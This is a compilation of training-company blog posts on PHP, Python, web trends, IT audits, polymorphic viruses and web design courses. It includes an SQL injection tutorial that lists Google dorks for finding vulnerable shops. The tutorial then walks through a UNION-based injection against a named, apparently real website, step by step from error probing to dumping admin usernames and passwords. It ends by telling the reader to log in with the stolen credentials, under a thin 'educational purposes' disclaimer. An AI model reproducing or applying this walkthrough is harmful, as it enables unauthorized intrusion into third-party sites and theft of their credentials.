Website Hosting

Why you should learn PHP

PHP? Yeah, PHP which stands for hypertext processor is one of the widely used backend object oriented programing language, and despite its security controversies, PHP is still used on over two hundred million websites in the world.

Learning PHP is easy and just like any other programing language, mastery will rely on practice and determination. Regardless if you are coming from another programing language environment or having no experience in programing language, PHP is the perfect language to learn if you intend diving into and becoming familiar with the web development processes within a short time.

Popular websites such as Yahoo, Wikipedia, and Facebook were initially written in PHP, and many still run on PHP. Many open source Content Management Systems such as Joomla, Open Cart, Drupal including world most used and largest CMS community, WordPress are all running on PHP.

PHP supports a good number of database option such as MySQL and PostgreSQL to DB2, Access, Oracle, firebase and more. Building applications couldn’t be easier than doing it with a framework. There are lots of PHP frameworks such as Yii, Zend, Laravel, CakePHP, Symphony etc. These frameworks come with built-in functions, libraries and components that make building PHP applications fun, swift and easy.

PHP is an open source programming language with a large community of volunteered developers and support which makes it easier to get references and help. PHP usually runs on Linux servers which are very cost effective and widely used.

The fact that some known websites run on PHP including popular and widely used CMSs, there is always a demand for developers who can maintain, update and keep developing these websites.

WordPress for example, powers the largest number of content management websites, thereby creating job opportunities for PHP developers ranging from themes and plugins to snippets and widgets.

Freelancing is another great way to make a living out of PHP. There is and has all ways been a high demand for PHP developers in the freelance market.

Fiverr.com, Upwork.com and Freelance.com are few among the many websites where freelance PHP developers’ showcases and exchange their skills for profits. Themeforest and CodeCanyon are also few amongst the many marketplaces for PHP applications.

 

 

 

There lots of applications to build, and solutions to solve using PHP, few among them includes;

  1. Content Management System (CMS)
  2. Forum
  3. Social Media Script
  4. Polls
  5. User membership management systems
  6. Photo gallery
  7. Form validation
  8. Instagram filters
  9. Authentication
  10. Booking and ticketing software
  11. Live chat system
  12. Financial analysis

 

PHP works well with UNIX, LINUX and windows platform making it easy and the right choice for cross-platform applications. Also, there are a lot of free editors out there that you can use for your PHP programming.

Now you have seen some of the reasons and advantages of learning PHP. It is a language that is loved by developers and helps organisations to extend their creativity unlimitedly. Would you want to learn PHP today? Let us know your thought. #itiswhatwedo

The current trend in web development

Standing aside and observe is a no no in this age of modern information technologies development. You want to be at the centre of events in order not to miss a thing. It is necessary to acquire knowledge from all relevant sources and always be up-to-date if you do not want to be on the rewind. 2017 is fast travelling to an end and the internet is really busy creating lots of fireworks for 2018 and this simply means that 2018 will definitely bring something new in the field of web development.

The web development trends are changing rapidly. Yesterday multi-page websites were popular, today the trend for simplicity has brought single-page apps back on the top, artificial intelligence and bots are in high demand and completion as well. Here are some trends you should be aware of when building or rebuilding your website.

Progressive Website Applications

Progressive Web Apps has experienced enormous development and recognition since 2015. PWAs are websites that feel like native mobile apps, reliable, fast and engaging. One important feature is the service worker which is written in JavaScript and acts like a client-side proxy. Users have no slow-respond once the site is loaded and can save a shortcut on their home screen if they frequently use the site. PWAs has been on trend since 2016 and 2018 await the hype around this new but promising technology.

Helpful Bots

2017 has witnessed successful improvement of bots which are now intended to become more direct and personalized so as to deliver a better user experience. Chatbots have been improved to react more human-like especially when you are shopping, it greets you, give advice and make suggestions of products, making it a must for every e-commerce site.

Welcome back Static, goodbye Flash

Well, I must say even before Steve Jobs published his thoughts concerning flash in 2010, most developers already knew that flash was not going to stay for so long. With giant global players such Google’s YouTube and Netflix switched from flash to HTML5, and flash not supported in some mobile phones, I don’t think most developers would really consider flashing an option when developing applications. We should be expecting better improvement in HTML5, especially HTML5 canvas.

Remember the early years of the world wide web? Websites then were static. The arrival of dynamic websites made websites become more functional, interactive and easier to update. Well, I think static websites are coming back, only that they have been improved by static site generators, some of which allow the combination of a Static Website and a CMS.

Languages

There are lots of languages to pick from when developing applications, but there question developers often ask is; on what framework can I write with it? Thanks to JavaScript which has been on the rise since 2016 giving developers the opportunity to work on chat box and progressive web applications, virtual reality, and many other trending things. If there should be one ubiquitous language in web development is should be JavaScript.

Frameworks

It doesn’t only make production swift, it makes it scalable reusable and organizes the codes in a more streamlined way. Frameworks are the big rescue for developers. For instance, writing PHP is as good as writing Python, but using a framework such as Laravel for PHP or Django for Python is awesome. It’s like having all the ingredients prepared and ready for your use. Frameworks enable a developer to complete a one-day program within an hour while writing lesser codes. CSS frameworks such as SASS and Compass are marking their mark by encouraging stable coding, introducing nesting block, real variables and mix-ins.  A completely different way to look into design and layouts.

Conclusion

Nowadays having a website is more important for the company than having a physical office.

Being ahead of web development trends simply means attracting new customers, while satisfying existing customers and encouraging older customers to return.

If you are thinking of designing or re-designing your website, bringing it to Soutech Web Consult is a great idea for a start. Enroll today!

5 New reasons for you to learn python

Believe it or not, Python has been there and is still going to be there. One of the most widely used high level and multi-style programing language. Python supports imperative programming, functional and objects oriented programming styles. The 28 years old programing language has standard libraries that offer lots of functionality that make it possible to implement complex applications extremely easy. This easy to learn programing language is responsible for most complex applications and it doesn’t matter if you are new to programming or a seasoned programmer, you must have definitely heard of Python. If you still don’t know why you should choose to learn Python, the following five reasons will convince you.

#1 Easy to learn and use

Python, which derived its name from a popular British comedy “Monty Python” is really fun to learn. Unlike other programming languages, Python is very easy and quick to learn not to mention that the language is extremely fast to use. Python code is readable and it requires less code to complete a basic task.

With little knowledge, a developer can actually learn a lot simply by observing the code. Needless to say, most developers learned Python in the process of learning how to code a python framework. It is the only language you can easily learn, write simple code and build complex applications at same time.

#2 Versatility

Python provide adequate flexibility and functionality for both new and experienced programmers, having a syntax specifically adapted for human readability. It apparently has native binding to C, very concise in the number of lines with no type declarations and very much less verbose as compared to other object-oriented programming languages. Learning Python could be a stepping stone as it set you up appropriately to adopt any other language or environment easily.

Python has an extensive standard library that contains built-in modules written in C and provides access to different system functionalities. In the programming world, support extremely crucial and the python is not only amongst the largest in the world but also one of the best in the world. Python is open source with lots of open source frameworks available for application testing and also backed by PyPI, a repository of over 85,000 Python modules and scripts available for immediate use. The modules execute pre-packaged functionalities that solve diverse challenges such as implementing computer version, working with databases, executing advanced data analytics and building RESTful web services.

Do you know that you can be a professional website designer within one month? Do not miss out the ‘live’ website design training @ Soutech Web Consult Area 1, Abuja. Coming on Tuesday. Call 08034121380 Now.

# 3 Everyone love Python

A significant number of tech giants such as IBM, Nokia, Google, Mozilla, Yahoo! and many others including NASA comprehensively rely on Python. The existence of these companies proves that there is always a search and demand for talents with knowledge of python. Small companies who intend to make their mark in the I.T. world will definitely require Python professionals as well.

# 4 Start-ups has no worries

Creating an outstanding product can be done using any programming language, but there are always considerations. Start-ups don’t have the robust resources most big players have and are therefore required to provide solutions to client’s challenges using available resources within and short time-frame. Now, if you are to build a complex application for the web, mobile or non-app based, what language does that easily for you? Python!

#5 Welcome to the web

Web programming with Python is a lot of fun for a developer. The Python architecture makes well thought out, well design and robust with big developer ecosystem with available debugging tools. Python frameworks include Pylons, Django, We2py, TurboGears, Grok, flask etc. with Django as the most popular framework preferred for Python web development.

Start learning Python today

To start learning Python today is easy as visiting Soutech Web Consult today is all you need to get started, enroll for a Python training class and start coding.

Tutorial on SQL Injection: SOUTECH Ventures

What is SQL Injection?

SQL Injection often referred to as seqel-i or structured query language is a malicious attempt on a website whereby an attacker injects an SQL command (payload) into an SQL statement which controls the database of a web application. The web application can also be referred to as Relational Database Management System (RDBMS) and it has a web input field.

SQL injection vulnerabilities have been known to damage websites or web apps that use SQL-based database. SQLi’s have been known over time to be one of the lethal means of attacking websites whereby an attacker attempts to exploit a web application. In order to bypass the authentication and authorization mechanisms in a web application, the attacker will attempt to gain unauthorized access to the web app using SQLi. The attacker or malicious user after gaining access into the web application, can delete, modify or even update the database, make changes to the columns or rows depending on what their intentions are at the time. When this is done, the data integrity of the SQL-based database will be compromised.

How Does SQL Injection work?

In order to exploit the web application, all the attacker has to do is to find an input field that is embedded in the SQL query of the database. A vulnerable website requires a direct user input in the SQL statement in order for an SQLi attack to take place. When this is done, the attacker then injects the payload which is included in the SQL query which in turn is used to launch the attack on the web server.

Before you launch any attack, you have to check the server to see how it responds to user inputs for authentication mechanism. Use the following queries to verify the users authentication mechanism:

 

 

 

 

// define POST variables
$Uname = $_POST[‘name’];
 $Upassword = $_POST[‘password’];

// sql query vulnerable to SQLi
$sql = “SELECT id from users where username = ‘Uname’ && password = ‘Upassword’ “;

// execute the sql query by database
database.execute($sql);

The codes above are vulnerable to SQL injection and the attacker can submit the malicious payload in the SQL query gain access to the web application by altering the SQL statement that is being executed.

One example of an SQL injection payload that can be used to set a password field is

Password’ OR ‘1’=’1’

where this condition is always true, the result of this query being run against the web server is

SELECT id FROM users WHERE username=’username’ AND password=’password’ OR 1=1’

What an attacker can do with SQL?

SQL is a programming language that is used to work with the relational database management systems. Like I said earlier, SQL’s can be used to delete, modify or update databases or columns, rows, tables within the RDBMS databases. SQL is one powerful language that can be used to attack databases and can be used by attackers to exploit databases of web applications, taking total charge of the application without the knowledge of the administrator.

Having said all this, let us see what an attacker can use SQLi to do.

  • It can be used to bypass authentication mechanisms or to impersonate a specific user
  • It can be used by an attacker to delete records from a database and even if an authorized backup plan is used, deleted data can affect the availability of an application until the database can be restored.
  • SQL’s can be used to select data based on a set of input queries which gives outputs of the query. It could allow the disclosure of data residing on the web server.
  • SQL’s can be used to alter or modify data in the database. And as you know when data is altered, the integrity is lost and issues regarding repudiation can come up such as voiding transactions, altering balances and other records.
  • The database of web servers are configured to allow the arbitrary execution of operating system commands. When are conditions are present, a malicious user can use SQLi to bypass firewalls and penetrate the internal network.

Using SQL Injection to Hack a Website

Now let us see how we can use SQL injection to hack websites

Step 1

The first thing is to search google for “google dorks”. I have gotten the following results from my search. You can as well search for yours.

about.php?cartID=
accinfo.php?cartId=
acclogin.php?cartID=
add.php?bookid=
add_cart.php?num=
addcart.php?
addItem.php
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=
adminEditProductFields.php?intProdID=
advSearch_h.php?idCategory=
affiliate.php?ID=
affiliate-agreement.cfm?storeid=
affiliates.php?id=
ancillary.php?ID=
archive.php?id=
article.php?id=
phpx?PageID
basket.php?id=
Book.php?bookID=
book_list.php?bookid=
book_view.php?bookid=
BookDetails.php?ID=
browse.php?catid=
browse_item_details.php
Browse_Item_Details.php?Store_Id=
buy.php?
buy.php?bookid=
bycategory.php?id=
cardinfo.php?card=
cart.php?action=
cart.php?cart_id=
cart.php?id=
cart_additem.php?id=
cart_validate.php?id=
cartadd.php?id=
cat.php?iCat=
catalog.php
catalog.php?CatalogID=
catalog_item.php?ID=
catalog_main.php?catid=
category.php
category.php?catid=
category_list.php?id=
categorydisplay.php?catid=
checkout.php?cartid=
checkout.php?UserID=
checkout_confirmed.php?order_id=
checkout1.php?cartid=
comersus_listCategoriesAndProducts.php?idCategory=
comersus_optEmailToFriendForm.php?idProduct=

This is just a few of the basic dorks that are available but you can also create your own dorks in order to find websites. These dorks can help you find out sites that are vulnerable to SQL injections in order to bypass the authentication.

STEP 2

Search google for SQL-vulnerable websites. Next thing is to open one of them to check if they can be vulnerable to SQLi’s.

I will use this website as an example.

http://www.tadspec.com/index.php?id=44

Now after you choose your link, make sure it is different from mine because there are many available sites.

Please note, that this practical session is just for educational purposes and therefore I do not in any way take responsibility for your actions.

Now lets check if the site I have chosen is vulnerable to SQL or not. This can be done by putting this code behind the URL

.php?id=44   (You can copy and paste it with an apostrophe (‘) at the end of that code.

If after you do this and you get a result like this;

  • “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1.”

Then bingo, then site is vulnerable an SQL injection attack. Therefore, we can go ahead to the next step.

STEP 3

In this step, we have to check the number of columns that are available on the database of the website. We can manually input these numbers, so we can check the columns;

http://www.tadspec.com/index.php?id=44 order by 32

 

Please note that the number “32” is an arbitrary number and it varies depending on the number of columns you may find. So, you have to make an arbitrary attempt to check the columns that are available on the database.

After putting “32”, this is what you get

Unknown column ‘32’ in ‘order clause’

And if we put the link below in URL,

http://www.tadspec.com/index.php?id=43 order by 31

This will redirect us to the website’s homepage which means that it is working correctly.

It therefore means that the number of the columns available on the database of this website is 31.

STEP 4

In this fourth step, we’re going to be determining the version of the database.

We will use the following query;

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,6,7,8,9,10,11-

When you run this query, you will get a number that shows boldly on your screen. Mine is 6. So, in the place of 6 in your URL, replace t @@version. This will give you the version that would give you the version of the SQL database that the website uses.

So, you have something like

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,@@version,7,8,9,10,11-

STEP 5

We will use the next query ‘group_concat(table_name)’ on the place of column#6 and some other string in the last part of the code.

So, its going to be like this;

http://www.tadspec.com/index.php?id=null union all select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11-from information_schema.tables where table_schema=database()-

Now the result of this query will be the names of the database tables. You can just copy them if you desire to use them for further analysis.

STEP 6

We will now try to find the column names in the database by changing the table to column in the fields.

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11-from information_schema.columns where table_schema=database()-

When you enter this query, the result you will get will be the names of the different tables that are present on this website.

STEP 7

Recall that in the previous step, we were able to get the names of the columns in the database so the next thing is to search for the column called “credential” because it can be used to retrieve sensitive data such as usernames and passwords. These are the columns that give access to the database.

Use this query to navigate there;

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11-from admin-

The group_concat() method was used to pass the username and then the 0x3a which is used for space and then the other column name. We removed the query and wrote admin table at the end of it and it means we are using the column names from the admin table.

If you have succeeded in this, then Congratulations you successfully performed an SQL injection.
Go ahead search the website login page and input those credentials in the fields present.

Please note that this tutorial is strictly for Educational purposes. We at SOUTECH are not responsible for your actions.

I have withheld some of the diagrams and pictorial explanations and if you must learn about them, enroll to our CEH course to learn comprehensively about this subject topic and more. Call us today.

 

Soutech-Web Consult

Key Languages Web Developers Should Learn – Soutech Web Consult

Web Application Development is obviously a desirable skillset, not to mention that it is also a lucrative one. When it comes to return on investment in education, Web developers rank among the top, with attractive salaries based on job roles and skill set.
Nevertheless, the internet has a lot of predictability that the number of Web developer jobs will continue to grow through 2022. The global demand for Web developers is very high, making it harder and more expensive for companies to hire top talent. It also means that those skilled in Web development have options to demand a premium in salaries and perks.

Zach Sims, CEO of Codeacademy said – “In today’s professional world, it’s essential to stay on the cutting edge, programmers who learn many Web languages are able to stay versatile and keep a pulse on the evolving professional needs within their field.”

The question is; which languages are essential for any Web developer to learn, especially if they want to lock down a good salary?

CCS – Style Knows No Extinct

CSS –  Stands for Cascading Style Sheets, a stylesheet language that is responsible for the layout, style and how your website looks and behaves on the browser. It ensures proper spacing, alignment and the integrity of other key design elements. One without an in-depth CSS knowledge will find it difficult designing a Website because the language dictates so much in terms of look and feel of a website. Anyone who wants to be a web developer cannot overlook CSS.

Learn at Soutech

PHP: The Basis of Key Platforms

PHP which stands for Hypertext Processor (recursively), is a server-side scripting language responsible for many of the world’s most popular Web platforms, including WordPress. Dogged with security issues periodically yet, PHP boasts an elasticity that makes it valuable in everything from standalone graphics applications to generating HTML code.

It is a good practice to become familiar as possible with the platform’s open-source libraries when you learn PHP and to know how to interacts with database servers such as MySQL and PostgreSQL. If you’re interested in building up your PHP knowledge, Soutech Web Consult has tutorials that are specifically prepared to enhance your skillset. Scrapping from conditionals to arrays to loops, there are lots of things to learn about PHP, but once you know what you’re talking about and how to fix issues and bugs, you’ll be far ahead of competitors for many must-have jobs.

JavaScript: Everyone Wants an App

Topping the lists of most-popular programming languages in the World on a regular basis; is JavaScript. With good reason off-course, alongside CSS and HTML, it helps power huge number of Websites around the world. JavaScript is an interpreted programming language that allows programmers to create critical workflows, games, mobile\web apps, and just about everything else that jumped into their head.

It basically combines a series of items, including data structures, objects, and countless other elements, to help users build whatever they desire. Needless to say, it is a versatile platform, but also one with a lot of moving parts. Developers who intend learning JS will need to explore everything from choosing the right frameworks to advanced tools such as strict mode. JavaScript knowledge can also be parlayed into mobile development. “We often encourage beginners in mobile applications to get familiar with JavaScript.

Soutech-web-development

HTML – Anywhere There is The Web…

HTML which stands for “hypertext mark-up language” has been around like forever, and it’s perhaps the easiest of any Web language to learn. It remains significant as the Web’s standard markup language. Given its age, discussions on HTML and its importance are kind of old. But any newbie getting into Web Development should learn the basics of HTML, understand how to create different tags, and design simple Websites for practice.

Conclusion

To be a successful Web Developer, it is not enough to focus on just one of these languages. Although being flexible will unlock a lot of opportunities for success, but these languages are not necessarily standalone. For instance: HTML will need CSS for look and feel, likewise JavaScript will need HTML for output, depending on what you desire to build. The idea is to not only learn thoroughly but also put yourself in a flexible mindset that will allow you to adapt to the inevitable changes in languages and methodologies. All seasoned Web Developers knows that there is always something to learn.

Soutech Web Consult specializes in training individuals how to become successful developers. Visit Soutech Web Consult, select a package and begin training to today.

Understanding the importance of an IT audit: SOUTECH Ethical hacking tips

An IT audit is an audit that deals with the review and evaluation of all automated and non-automated information processing systems and all the interfaces that it encompasses. It also includes setting up management controls for information technology and infrastructures.

The elementary function of IT audits includes, evaluation of systems that are already in place to guard the organization’s information. It looks into the ability of an organization to protect its assets as well as be able to legitimately and adequately give out information to authorized parties.

The process of planning IT audits involves two key steps

  • Gathering information and planning
  • Gaining an understanding of the already existing internal control structures

Many organizations are gradually phasing towards the approach of risk-based audits which is used for risk assessment and to help the IT auditor to decide on whether to carry out a compliance and substantive test. The risk based approach involves the IT auditors relying on the internal and operational controls and also the knowledge of the organization involved.

However, this type of decision as regards risk assessment can go a long way to relate the profits analysis of the control to the risk.

These are the 5 aspects that an  IT auditor needs to identify when gathering information:

  • Good knowledge of the business and industry
  • Previous results obtained from all the years
  • Recent financial data
  • Already existing standards and policies
  • Inherent risk assessments

Inherent risk here refers to the risk that there is an error that could be a function of combined errors that are encountered during this audit assuming there are no controls in place.

Once the auditor has gathered relevant information and has an understanding of the control, then they are ready to start planning or select areas that need auditing.

Why is it important to do an IT Audit?

Hardly will you find an organization in recent times that is not IT driven. A lot of organisations today are investing huge amounts of cash on their IT infrastructure because they have come to realize the tremendous importance of using IT in their business services and operations. As a result of this, they need to always make sure that their IT systems are very secure, very reliable and is not susceptible or vulnerable to any form of cyber attacks.

The importance if an IT audit can never be over emphasized because it provides the assurance that the IT systems deployed by the organization is well protected, is available at all times, properly managed to get the required results and that it gives out reliable information to users. Many people use and rely on IT without knowing how it works and that a computer can make errors repeatedly and incurring extensive damages than a human being can. An IT audit is also very important in reducing risk of data leakage, data losses, service disruptions and ill-management of an IT infrastructure.

The Objectives of an IT audit

The objectives of an IT audit often focus on substantiating that the existing internal controls and are functioning as expected in order to minimize business risk. The objectives include

  • Assuring compliance with legal and regulatory standards
  • Ensuring confidentiality
  • Ensuring Integrity
  • Improving availability of information systems

Confidentiality here relates to information security and refers to protecting information from being disclosed to unauthorized persons or parties. This means that information such as personal credentials, trade secrets, bank account statements are kept confidential and protecting this information plays a major role in information security.

The fact that information is valuable only when it has not been tampered with gives way to data integrity such that information is not modified by an unauthorized party. If information is inappropriately altered, it could prove costly for example, a transaction of 1000naira can be altered to 10,000naira. Making sure data is protected from being tampered with is a core aspect of information security.

Availability here means that information is made available to authorized individuals whenever it is needed. Unfortunately, the act of denying rights to resources to rightful users has been in on the rise lately. An information systems audit will therefore ensure confidentiality of an organizations data, data integrity and availability of resources. An IT audit therefore oversees the organizations IT systems, its operations and management processes.

The reliability of data from an IT system can as well have huge impact on the financial statements of an organization. There an IT audit must be able to

  • Check for instances of excesses, gross inefficiencies, extravagance which has to do with wastage of resources in the management of IT systems
  • Ensure that there is a high level of compliance with government laws as applicable to the IT system.

Types of IT audits

Different bodies and authorities have developed their views to distinguish the types of IT audits. Goodman and Lawless have outlined three systematic approaches to perform IT audits

  • Technological Innovation Process Audit: This audit type attempts to construct a risk profile for already existing as well as new projects. It assesses the length, depth and presence of the technologies used by the company and how it relates to the relevant markets. It also looks into the way each project is organized, the structure of industry as regards its projects, products etc.
  • Technological position audit: This audit type deals with the technologies that the business has on ground and what it needs to add to it. Technologies can be categorized into
    • Base
    • Key
    • Pacing
    • Emerging
  • Innovative Comparison Audit: This audit deals with the analysis of the innovative capabilities of the organization being audited when compared to its competitors and rivals. The company’s research and development facilities as well as its track record of producing new products will be examined.

Other authorities have also categorized IT audits in 5 spectrum

  • Information Processing Facilities: It is focused on verifying the processing ability of the facility and if it is designed under normal and disruptive conditions to process applications in a timely, accurate and efficient way.
  • Systems and Applications: It is focused on verifying systems activity are controlled appropriately, efficiently and adequately in order to ensure its output at all levels are valid, reliable, and timely. This audit type forms a sub-type that focuses on business IT systems and also focuses on financial auditors.
  • Management of IT and Enterprise Architecture: IT focuses on verifying that organizational structure and procedure that ensures a controlled and efficient information processing environment is developed by the IT management.
  • Systems Development: This audit verifies the systems that are under the process of development meet the requirements and objectives of the organization. It also ensures that the systems are developed in line with generally accepted policies and standards for systems development.
  • Client/Server, Intranets, extranets and Telecommunications: This audit verifies that the controls for telecommunications are in place both the client and the server ends as well as the network that connects both the clients and servers.

Types of Auditors

  • Internal Auditor: This auditor usually performs internal accounts auditing as well as IS audits.
  • External Auditor: This auditor reviews the findings and inputs, processes and outputs of the information systems made by the internal auditor.

Types of Audits

  • Internal Audits: As explained above, an internal audit considers all the potential controls and hazards in an information system. It takes care if issues like operations, data, data integrity, security, privacy, software applications, productivity, expenditures, cost control and budgets. The auditor works with guidelines such as Information systems audit and control association which are available to make their job patterned.
  • External Audits: This audits buttresses on information obtained from internal audits on information systems. External audit is performed by an certified information systems audit expert.

IT Audit Strategies

  1. We’ll discuss two areas here but first one must be able to determine if it is a compliance or substantive testing. The next thing to consider is how to go about gathering evidences to enable one perform application audits and make reports to the management.

What is substantive and Compliance Testing?

  • Compliance testing involves gathering evidence to test if an organization is following the control procedures. For example, If an organization has a control procedure that says all application changes have to pass through a change control, an IT auditor will have to get the current running configurations of the router as well as the configuration file. After he does this, he can then run a file to compare the differences and use the result of the differences to look for a supporting change control documentation.

  • Substantive Testing involves gathering evidence that enables one evaluate the data integrity of individual data and other information. For example, If an organization has a policy that has to do with backup tapes in storage locations offsite which includes three generations (Grandfather, father and son), then the IS auditor has to take physical inventory of the tapes in an offsite storage location as well. After this he can then compare it with the organizations inventory and also making sure the three generations are involved and are available at the time of the audit.
  1. The thing to discuss on is How to get the evidence that can help you audit the application and deliver a report to management. A few things you can review are;
  • Review the IT organizational structure
  • Review the IT policies and procedures
  • Review the IT standards
  • Review the IT documentations
  • Review the organizations BIA
  • Take time to interview employees
  • Observe the employee’s performance
  • Test controls and examine necessary incorporated entities
  1. Draft out a set of questionnaires
  • Whether there is a thorough documentation of approved IS audit guideline?
  • Whether IS audit guidelines are consistent with the security policy?
  • Whether responsibilities for the IT audit has been assigned to a separate unit that is independent of  the IT department?
  • Whether periodic external IS audit is carried out?
  • Whether independent security audit is conducted periodically?
  • Whether contingency planning, insurance of assets, data integrity etc. are made part of External audit?
  • Whether vulnerability and penetration testing were made part of external audit?
  • Whether the major concerns brought out by previous Audit Reports have been highlighted and brought to the notice of the Top Management?
  • Whether necessary corrective action has been taken to the satisfaction of the Management?
  • Whether the facilities for conducting trainings which will enable IS audit teams to conduct the audit process effectively?
  • Whether IS audit team is encouraged to keep themselves updated?
  • Whether IS auditors exchange their views and share their experiences internally?

Operations is modern organizations  are increasing dependent on IT, this is why IT audits are used to make sure that all information-related controls and methods are functioning properly. Most of all the companies if not all are IT driven and not enough awareness has been made on auditing of IT infrastructure the reason for this write up. If you’re in search of a professional firm to audit your organization, look no more as soutech web consults which is the number one IT consulting firms offers in Nigeria offers this service. Subscribe to us for your auditing and all types of IT-related issues.

 

All you need to know about Polymorphic Viruses

Polymorphic viruses have over the years been one of the most difficult and complex viruses to detect. Anti-virus manufacturing companies have had to spend days and months trying to create detection routines required to track a single polymorphic.

I’ll attempt to discuss about polymorphics and some of the detection mechanisms existing and also introducing Symantec’s striker Technology, a patent-pending mechanism for detection of polymorphics.

The Norton anti-virus 2.0 was the maiden version to include a striker for possible detection of polymorphics.

 The Evolution of Polymorphic viruses

A computer virus can be defined as a self-replicating computer program that functions without the permission of the user. In order to spread, it attaches a copy of itself to some part of the program such as a word processor or a spreadsheet. A virus can also attack boot records and master boot records that contain all the information that a computer needs to startup.

Some viruses can replicate themselves, some may display messages input by its creator, some can be designed to deliver a part of a payload to corrupt programs, delete files, reformat a hard-disk drive, shutdown or crash a corporate network. I will quickly discuss about some viruses before we can relate it to polymorphic viruses.

Simple Virus

All a simple virus does is to replicate itself such that if a user launches the program, the virus gains control of the computer and attaches a copy of itself to other program files. After it spreads successfully, the virus transfers control back to the host program, which functions normally. You can perform a simple anti-virus scan to detect this kind of infections.

Encrypted Virus

The mode of operation of the encrypted virus was via signatures. Its idea was to hide the fixed signatures by scrambling the virus therefore making it unrecognizable by the virus scanner.

An encrypted virus is made up of a virus decryption routine as well as an encrypted virus body such that if the user launches the infected program, the virus decryption routine first gains control of the computer, then decrypts the body of the virus.

                                            An Encrypted Virus

Polymorphic viruses

The polymorphic virus is built in such a way that it has a scrambled virus body and a decryption routine that first gains control and then decrypts the virus’ body. However, it possesses a third component which is a mutation engine that sort of generates randomized decryption routines which change each time the virus infects a new program.

The mutation engine and the virus body are both encrypted such that when a user runs a program infected with a polymorphic virus, the decryption routine first gains control of the computer, then decrypts both the virus body and the mutation engine.

                             An Encrypted Virus before execution

 

                                 An Encrypted Virus after Execution

The decryption routine then transfers control of the computer to the virus, which locates a new program to infect. At this point, the virus makes a copy of both itself and the mutation engine in random access memory (RAM). The next thing the virus does is that it invokes the mutation engine, which will randomly generate a new decryption routine that will decrypt the virus and yet does not bear any resemblance to the previous decryption routine. The virus encrypts the new copy of the virus’ body and the mutation engine. Finally, the virus then attaches this new decryption routine, alongside the newly encrypted virus and mutation engine to the new program.

Decrypt virus

                                                      A Fully decrypted Virus

So, we can see that not only is the virus’ body encrypted, but the decryption routine varies from infection to infection. This therefore confounds a virus scanner searching for the tell-tale sequence of bytes that identifies

a specific decryption routine. With a signature that is not fixed to scan for, and a non-fixed decryption routine as well, no two infections look alike.

Detecting a Polymorphic Virus

Anti-virus researchers launched an attempt to fight back by developing special detection routines crafted to detect and catch each and every polymorphic virus. Special programs were written by line for line which were designed to detect various sequences of computer codes known to be used by all the mutation engines to decrypt the virus body.

This approach was not feasible, it was as well time consuming and costly. Every new polymorphic virus needs its own detection program and also, a mutation engine which produces seemingly random programs which can properly execute decryption and some mutation engines to generate billions of variations.

Moreover, a lot of polymorphics make use of the same mutation engine, credits to the authors of viruses like dark avenger. In addition to this, different engines are being used by different polymorphics to generate a similar decryption routine, which can make identification of the virus solely based on decryption routines wholly unreliable.

This approach can be misleading by identifying one polymorphic as another. These shortcomings led anti-virus researchers to develop generic decryption techniques that trick a polymorphic virus into decrypting and revealing itself.

To gain more knowledge about all forms of malwares with malware analytical skills subscribe to our CEH course at Soutech Ventures. We have trained and seasoned experts to give you both theoretical and hands-on ethical hacking knowledge and skills.

Learn smart website design( ecommerce , company and blog websites) within days- SOUTECH Academy

So you really want to be a website designer? Well, website designing is very interesting and website designers around the world earn some reasonable amount of wages. It is a process of bringing in concepts and ideas into a functional reality.

WHY WEBSITE DESIGN?

As a website designer, you have many options to choose from when it comes career choices. A website designer has some sets of I.T. skills that put the individual in the positions such a website consultant, creative content creator, website administrator, webmaster, website theme developer, plugins developer, theme and plugin customization expert, blogger and much more.

A website designer possesses the ability to design and lunch a functional website or blog, and can also manage and maintain websites including creating contents for various websites, consulting and training other people on website designing. Website design comes with many opportunities, giving you enough room for work flexibility as you can choose to work from anywhere all you need is a computer devices and internet service. You can become a website designer by spending three (3) days with Soutech Web Consult for an intensive website design training and become an expert in less than one month.

WHY SOUTECH WEB CONSULT

Soutech offers various I.T trainings such as Certified Ethical Hacker, Website Design, Web Development, Mobile App, Digital Marketing and many more. Visit www.Soutechventures.com/courses to learn more. Soutech trainings are hands-on emphasizing on relevant areas with over 30 days’ mentorship giving you an opportunity to have you own website for practical practices and experience.  The training labs are conducive in a serene environment that gives you comfort throughout your training period.

THE NEED OF WEBSITE DESIGN

The need of website design is based on the demand of websites.

A website is the single most important marketing tool for any business. It serves as a virtual equivalent of a physical business for the over 3 billion internet users. Think about it: when you want to learn more about a company, you typically turn to Google and search about the company and most times you eventually end up on their website. The same process happens when you are looking for products and services.

As a web development and marketing services company, whenever someone searches for Soutech Web Services, they’ll usually hit our website as the main source to learn about our services, our work, and about the team.

Now, for any organisation that offers services, users will certainly turn to past clients and case studies section of a website. So much information is gained by users browsing a website: what users see and read shapes the perception of the company or brand in the user’s decision-making. According to Statista, over 2 billion people are expected to buy goods and services online by the year 2019. So, having the best content on your website is important so that your website acts as your main marketing tool.

A well-built website should be mobile-responsive, and important aspect to consider based on the fact that it contribute in making a website the most important marketing tool as more and more users browse the web on smartphones (more than desktop usage now, according to Google). Any organisation that desire growth cannot afford to miss out on opportunities for new leads by not having a responsive website.

So there you have it – a website is the most important marketing asset, not just because it acts as a salesperson and a brand ambassador, but because it can be use to genuinely connect with potential customers, whether that’s through engaging content, mobile-responsive layout, or intelligent analytics and personalization. If a website isn’t hitting all these goals, that’s all right. It’s definitely an interactive process, and few if any websites can accomplish everything they need to right out of the gate. It is imperative that one should add these goals to an overall inbound marketing strategy and work on executing them, by doing so, there is assurance that a business will continue to grow. That is what all organisation wants “Grow” hence the will seek the services of someone with the ability to activate that growth through digital presence which is where you will come in as a website designer.

So are you ready? The first step is to visit www.soutechventures.com/courses and give us a call today.

Penetration Testing Training in Nigeria(Certified Ethical Hacking, Certified Penetration Tester,Certified Expert Penetration Tester and the Metasploit Pro Certified Specialist )

Expert Penetration Testing Course Overview

